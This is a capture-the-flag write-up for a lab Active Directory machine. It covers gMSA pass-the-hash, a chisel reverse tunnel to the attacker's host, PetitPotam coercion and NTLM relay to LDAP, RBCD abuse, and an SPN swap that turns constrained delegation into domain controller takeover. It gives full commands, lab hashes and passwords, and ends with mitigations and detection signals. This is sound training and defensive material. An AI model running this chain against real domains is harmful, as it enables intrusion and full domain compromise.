Overview#
Pirate is a Windows Active Directory box built around delegation abuse. The domain controller, DC01, doubles as a Hyper-V host: a second web server, WEB01, runs as a guest VM on an internal virtual switch (192.168.100.0/24) that is not directly reachable from the VPN. The only externally reachable host is DC01 itself.
The captured chain starts with two Group Managed Service Account NTLM hashes (gMSA_ADCS_prod$ and gMSA_ADFS_prod$). Because gMSA managed-password blobs are stored in LDAP and readable by authorized principals, their NTLM hashes can be derived without ever cracking a password, and both accounts are allowed to log in over WinRM. That gives a foothold on DC01, from which a chisel reverse SOCKS tunnel opens the internal 192.168.100.0/24 segment and WEB01.
From there the box is two delegation abuses stacked on top of each other. First, an ADIDNS record plus PetitPotam coercion of WEB01 is relayed to LDAP on the DC with --delegate-access, which creates a rogue computer account and configures Resource-Based Constrained Delegation over WEB01. S4U2Proxy then yields an Administrator service ticket for WEB01, a psexec SYSTEM shell, and the user flag. Second, credentials for a.white recovered from WEB01 are used to reset a.white_adm, an account that holds classic constrained delegation with protocol transition to http/WEB01. Moving that SPN from WEB01$ onto DC01$ and requesting the ticket with an alternate service name (cifs/DC01) turns delegation meant for the web server into full compromise of the domain controller and the root flag.
1
2
3
4
5
6
7
8
| gMSA NTLM hashes -> WinRM foothold on DC01 (Hyper-V host)
-> chisel SOCKS pivot into 192.168.100.0/24 -> reach WEB01 guest VM
-> ADIDNS add relay.pirate.htb -> ntlmrelayx to LDAP + PetitPotam coerce WEB01$
-> RBCD on WEB01$ (rogue computer MRCXPEYL$) -> S4U2Proxy -> Administrator on WEB01
-> psexec SYSTEM on WEB01 (user flag) -> recover a.white credentials
-> a.white resets a.white_adm (constrained delegation w/ protocol transition to http/WEB01)
-> SPN swap: move HTTP/WEB01 from WEB01$ onto DC01$
-> getST as a.white_adm + altservice cifs/DC01 -> Administrator on DC01 (root flag)
|
Reconnaissance#
The DC exposes a standard domain-controller service set and, importantly, an authoritative DNS server for pirate.htb. Querying it directly maps out the environment and reveals that the domain runs on two networks:
1
2
| dig dc01.pirate.htb @10.10.10.x +short
dig web01.pirate.htb @10.10.10.x +short
|
1
2
3
| dc01.pirate.htb -> 192.168.100.1
10.10.10.x
web01.pirate.htb -> 192.168.100.2
|
DC01 answers on both the external target address (10.10.10.x) and an internal 192.168.100.1, while WEB01 exists only on 192.168.100.2. Later host enumeration confirms why: DC01 owns SPNs for Hyper-V Replica Service, Microsoft Virtual System Migration Service, and Microsoft Virtual Console Service, and its internal interface is named vEthernet (Switch01). DC01 is the Hyper-V host and WEB01 is a guest VM behind an internal virtual switch. Anything against WEB01 has to be pivoted through DC01.
Initial Access#
Two gMSA NTLM hashes are the working credentials at the start of this chain:
1
2
| gMSA_ADFS_prod$:e819498ec29f595382df1eaf4fb42307
gMSA_ADCS_prod$:aa831d274ee80cf2092f68cbcf29093e
|
gMSA passwords are machine-generated 256-bit values stored in the msDS-ManagedPassword attribute and disclosed over LDAP to principals listed in msDS-GroupMSAMembership. A reader can compute the corresponding NTLM hash offline, so no cracking is required (the initial domain foothold that granted this read right predates the captured evidence). Both service accounts are permitted to authenticate over WinRM against the DC:
1
2
| evil-winrm -i pirate.htb -u gMSA_ADCS_prod$ -H aa831d274ee80cf2092f68cbcf29093e
evil-winrm -i pirate.htb -u gMSA_ADFS_prod$ -H e819498ec29f595382df1eaf4fb42307
|
ipconfig from the shell confirms the dual-homed DC and the internal segment:
1
2
3
4
| Ethernet adapter vEthernet (Switch01):
IPv4 Address. . . . . . . . . . . : 192.168.100.1
Ethernet adapter Ethernet0 2:
IPv4 Address. . . . . . . . . . . : 10.10.10.x
|
To reach WEB01 on 192.168.100.0/24, a chisel reverse SOCKS proxy is established from DC01 back to the attacker. The Windows client binary is staged over a short-lived HTTP server and executed from the WinRM session; the Linux side listens for the reverse tunnel:
1
2
3
4
| # attacker
chisel server --reverse --port 8082
# on DC01 (via the WinRM shell)
chisel.exe client 10.10.14.x:8082 R:socks
|
This publishes a SOCKS5 listener on 127.0.0.1:1080, wired into proxychains, so every subsequent tool can reach 192.168.100.2. A quick check through the tunnel shows WEB01 has SMB signing disabled and, crucially, the WebClient (WebDAV) service running:
1
| proxychains nxc smb web01.pirate.htb -u gMSA_ADCS_prod$ -H aa831d274ee80cf2092f68cbcf29093e -M webdav
|
1
2
3
| SMB WEB01 [*] Windows Server 2019 Build 17763 (signing:False)
SMB WEB01 [+] pirate.htb\gMSA_ADCS_prod$
WEBDAV WEB01 WebClient Service enabled
|
An active WebClient service means WEB01 can be coerced into authenticating over HTTP, and HTTP-borne NTLM can be relayed to LDAP without running into SMB signing. That is the pivot point for the next stage.
Lateral Movement#
The goal is to force WEB01’s machine account to authenticate to a host under control and relay that authentication to LDAP on the DC. Three pieces are needed: a name that resolves to the attacker, a relay listener, and a coercion trigger.
Any authenticated principal can create DNS records through ADIDNS, so a record for the relay hostname is added with the gMSA hash (pass-the-hash to LDAP), pointing at the attacker’s tunnel interface:
1
2
3
| python3 krbrelayx/dnstool.py -u 'pirate.htb\gMSA_ADFS_prod$' 10.10.10.x --tcp \
-p e819498ec29f595382df1eaf4fb42307:e819498ec29f595382df1eaf4fb42307 \
-a add -t A -r relay.pirate.htb -d 10.10.14.x
|
1
| relay.pirate.htb. 180 IN A 10.10.14.x
|
ntlmrelayx is started against LDAP on the DC with --delegate-access, which tells it to create a computer account and grant it delegation rights over whatever machine account authenticates:
1
| proxychains impacket-ntlmrelayx -t ldap://192.168.100.1 -smb2support --delegate-access
|
PetitPotam then coerces WEB01 over MS-EFSRPC. The listener is specified as relay@80/asd, an HTTP callback, which relies on the WebClient service seen earlier. Only EfsRpcEncryptFileSrv succeeds (EfsRpcOpenFileRaw is patched), which is enough:
1
2
| proxychains python3 PetitPotam.py -u 'gMSA_ADFS_prod$' -d pirate.htb \
-hashes :e819498ec29f595382df1eaf4fb42307 relay@80/asd 192.168.100.2
|
1
2
3
4
5
| [-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
|
WEB01 authenticates to the relay, and the relayed LDAP session (still under the default ms-DS-MachineAccountQuota of 10) creates a rogue computer and configures RBCD:
1
2
3
4
| [*] Authenticating connection from PIRATE/WEB01$ against ldap://192.168.100.1 SUCCEED
[*] Adding new computer with username: MRCXPEYL$ and password: 8xBwucrh3:9oThL result: OK
[*] Delegation rights modified succesfully!
[*] MRCXPEYL$ can now impersonate users on WEB01$ via S4U2Proxy
|
With RBCD in place, getST performs S4U2Self plus S4U2Proxy to mint a cifs/web01 service ticket as Administrator. Kerberos is time-sensitive, and the DC clock runs well ahead, so the local clock is synced to the DC first (the htbsync wrapper) to avoid KRB_AP_ERR_SKEW:
1
2
3
| impacket-getST pirate.htb/'MRCXPEYL$':'8xBwucrh3:9oThL' \
-spn cifs/web01 -impersonate Administrator
export KRB5CCNAME=Administrator@[email protected]
|
The ticket is then used to land a SYSTEM shell on the internal WEB01 through the SOCKS tunnel:
1
| proxychains impacket-psexec -k -no-pass WEB01.PIRATE.HTB
|
1
2
| C:\Users\a.white\Desktop> type user.txt
[REDACTED_USER_FLAG]
|
The a.white profile lives on WEB01, and SYSTEM access allows recovery of that user’s credentials (a.white:E2nvAOKSz5Xz2MJu), which drives the final escalation.
Privilege Escalation#
Delegation enumeration with the recovered a.white account shows the path to the DC:
1
| impacket-findDelegation -dc-ip 10.10.10.x 'pirate.htb/a.white:E2nvAOKSz5Xz2MJu'
|
1
2
3
4
5
| AccountName AccountType DelegationType DelegationRightsTo
----------- ----------- ---------------------------------- ---------------------
DC01$ Computer Unconstrained N/A
a.white_adm Person Constrained w/ Protocol Transition http/WEB01.pirate.htb
MRCXPEYL$ Computer Resource-Based Constrained WEB01$
|
a.white_adm holds classic constrained delegation with protocol transition to http/WEB01. Protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION) means it can obtain a ticket to that service impersonating any user without the user ever authenticating. a.white has control over a.white_adm, so its password is reset to a known value:
1
2
| net rpc password "a.white_adm" -U "pirate.htb"/"a.white"%"E2nvAOKSz5Xz2MJu" -S "10.10.10.x"
# new password: Password@1
|
Two properties of constrained delegation make this reach the DC rather than just WEB01:
- In S4U2Proxy the KDC does not validate the service class of the target SPN, so a ticket obtained for
http/WEB01 can be re-requested with an alternate service (cifs/DC01, host/DC01, and so on). msDS-AllowedToDelegateTo stores the SPN as a string (http/WEB01). At request time the KDC resolves which account currently owns that SPN and encrypts the ticket for it. Move the SPN to a different account and the ticket is issued for that account instead.
The write access a.white_adm has over the relevant computer objects is used to strip HTTP/WEB01 from WEB01$ and register it on DC01$:
1
2
3
| python3 krbrelayx/addspn.py 10.10.10.x -u 'pirate.htb\a.white_adm' -p 'Password@1' -t 'WEB01$' -c
python3 krbrelayx/addspn.py 10.10.10.x -u 'pirate.htb\a.white_adm' -p 'Password@1' -t 'DC01$' --spn "HTTP/WEB01"
python3 krbrelayx/addspn.py 10.10.10.x -u 'pirate.htb\a.white_adm' -p 'Password@1' -t 'DC01$' -q
|
1
2
| DC01$ servicePrincipalName: HTTP/WEB01
...
|
Now http/WEB01 points at DC01$. Requesting the delegated ticket as a.white_adm, impersonating Administrator, with -altservice cifs/DC01, yields a CIFS ticket to the domain controller:
1
2
| impacket-getST -spn 'HTTP/WEB01' -impersonate Administrator \
'pirate.htb/a.white_adm:Password@1' -dc-ip 10.10.10.x -altservice cifs/DC01
|
After a final clock sync, the ticket gives command execution on the DC as Administrator:
1
2
| export KRB5CCNAME=Administrator@[email protected]
impacket-wmiexec 'Administrator'@dc01 -k -no-pass
|
1
2
| C:\users\administrator\desktop> type root.txt
[REDACTED_ROOT_FLAG]
|
Detection and Mitigation#
| Stage | Root cause | Mitigation |
|---|
| gMSA hash disclosure | msDS-ManagedPassword readable by an over-broad principal | Restrict msDS-GroupMSAMembership to the exact hosts that run the service; audit gMSA read rights |
| ADIDNS record injection | Authenticated users can create DNS records | Monitor and constrain dynamic DNS updates; alert on new A records pointing outside the domain |
| PetitPotam coercion | MS-EFSRPC reachable and WebClient service enabled on WEB01 | Disable the WebClient service where not needed; patch EFSRPC; apply RPC filters |
| NTLM relay to LDAP | LDAP signing and channel binding not enforced; NTLM permitted | Enforce LDAP signing and channel binding (EPA); disable NTLM; require SMB signing |
| Rogue computer + RBCD | Default ms-DS-MachineAccountQuota of 10; --delegate-access write to msDS-AllowedToActOnBehalfOfOtherIdentity | Set the machine account quota to 0; monitor writes to the RBCD attribute |
| Constrained delegation + SPN swap | Protocol transition enabled and writable SPNs on privileged computer objects | Remove unnecessary delegation; mark admin accounts sensitive and not delegable; protect the DC’s servicePrincipalName attribute |
Detection signals:
- Directory Service changes to
servicePrincipalName and msDS-AllowedToActOnBehalfOfOtherIdentity, especially on DC01$. - Security event 4741 (computer account created) from an unexpected source, followed immediately by delegation changes.
- Bursts of 4769 (Kerberos service ticket) events showing S4U2Self/S4U2Proxy and service-class mismatches.
- WinRM (5985) logons by gMSA service accounts from non-service hosts.
lsarpc / EFSRPC named-pipe access and WebClient-driven outbound HTTP authentication from member servers.- Service creation event 7045 from
psexec-style remote execution.
Lessons Learned#
- gMSA read rights are credentials. If a principal can read the managed password, it effectively owns that service account, so scope
msDS-GroupMSAMembership tightly. - Coercion plus relay only needs one weak channel. WebClient on a member server turns any coercion primitive into relayable HTTP authentication, and unsigned LDAP on the DC completes the path.
- The default machine account quota is an attack primitive. Leaving it at 10 lets a relayed LDAP session mint the computer account that RBCD depends on.
- In S4U2Proxy the KDC trusts the SPN string, not the service class or the host. Constrained delegation “to a web server” becomes delegation to a DC when the SPN can be moved and the service name rewritten.
- Protocol transition and writable SPNs on privileged objects are far more dangerous together than apart. Mark administrative accounts as sensitive and not delegable, and treat the DC’s own attributes as tier-0.
- Network segmentation slows but does not stop this. A single foothold on the Hyper-V host reopened the isolated guest network through one SOCKS tunnel.
Command Reference#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| # Recon: enumerate DNS / topology from the DC
dig dc01.pirate.htb @10.10.10.x +short
dig web01.pirate.htb @10.10.10.x +short
# Foothold: WinRM with gMSA NTLM hashes
evil-winrm -i pirate.htb -u gMSA_ADCS_prod$ -H aa831d274ee80cf2092f68cbcf29093e
evil-winrm -i pirate.htb -u gMSA_ADFS_prod$ -H e819498ec29f595382df1eaf4fb42307
# Pivot: reverse SOCKS from DC01 into 192.168.100.0/24
chisel server --reverse --port 8082 # attacker
chisel.exe client 10.10.14.x:8082 R:socks # on DC01
proxychains nxc smb web01.pirate.htb -u gMSA_ADCS_prod$ -H aa831d274ee80cf2092f68cbcf29093e -M webdav
# ADIDNS record for the relay host
python3 krbrelayx/dnstool.py -u 'pirate.htb\gMSA_ADFS_prod$' 10.10.10.x --tcp \
-p <NTHASH>:<NTHASH> -a add -t A -r relay.pirate.htb -d 10.10.14.x
# Relay + coerce -> rogue computer + RBCD on WEB01$
proxychains impacket-ntlmrelayx -t ldap://192.168.100.1 -smb2support --delegate-access
proxychains python3 PetitPotam.py -u 'gMSA_ADFS_prod$' -d pirate.htb \
-hashes :e819498ec29f595382df1eaf4fb42307 relay@80/asd 192.168.100.2
# S4U2Proxy -> Administrator on WEB01 -> SYSTEM shell (user flag)
impacket-getST pirate.htb/'MRCXPEYL$':'<COMPUTER_PASS>' -spn cifs/web01 -impersonate Administrator
export KRB5CCNAME=Administrator@[email protected]
proxychains impacket-psexec -k -no-pass WEB01.PIRATE.HTB
# Enumerate delegation, reset controlled admin account
impacket-findDelegation -dc-ip 10.10.10.x 'pirate.htb/a.white:E2nvAOKSz5Xz2MJu'
net rpc password "a.white_adm" -U "pirate.htb"/"a.white"%"E2nvAOKSz5Xz2MJu" -S "10.10.10.x"
# SPN swap: move HTTP/WEB01 from WEB01$ to DC01$
python3 krbrelayx/addspn.py 10.10.10.x -u 'pirate.htb\a.white_adm' -p 'Password@1' -t 'WEB01$' -c
python3 krbrelayx/addspn.py 10.10.10.x -u 'pirate.htb\a.white_adm' -p 'Password@1' -t 'DC01$' --spn "HTTP/WEB01"
# Constrained delegation abuse with alternate service -> Administrator on DC01 (root flag)
impacket-getST -spn 'HTTP/WEB01' -impersonate Administrator \
'pirate.htb/a.white_adm:Password@1' -dc-ip 10.10.10.x -altservice cifs/DC01
export KRB5CCNAME=Administrator@[email protected]
impacket-wmiexec 'Administrator'@dc01 -k -no-pass
|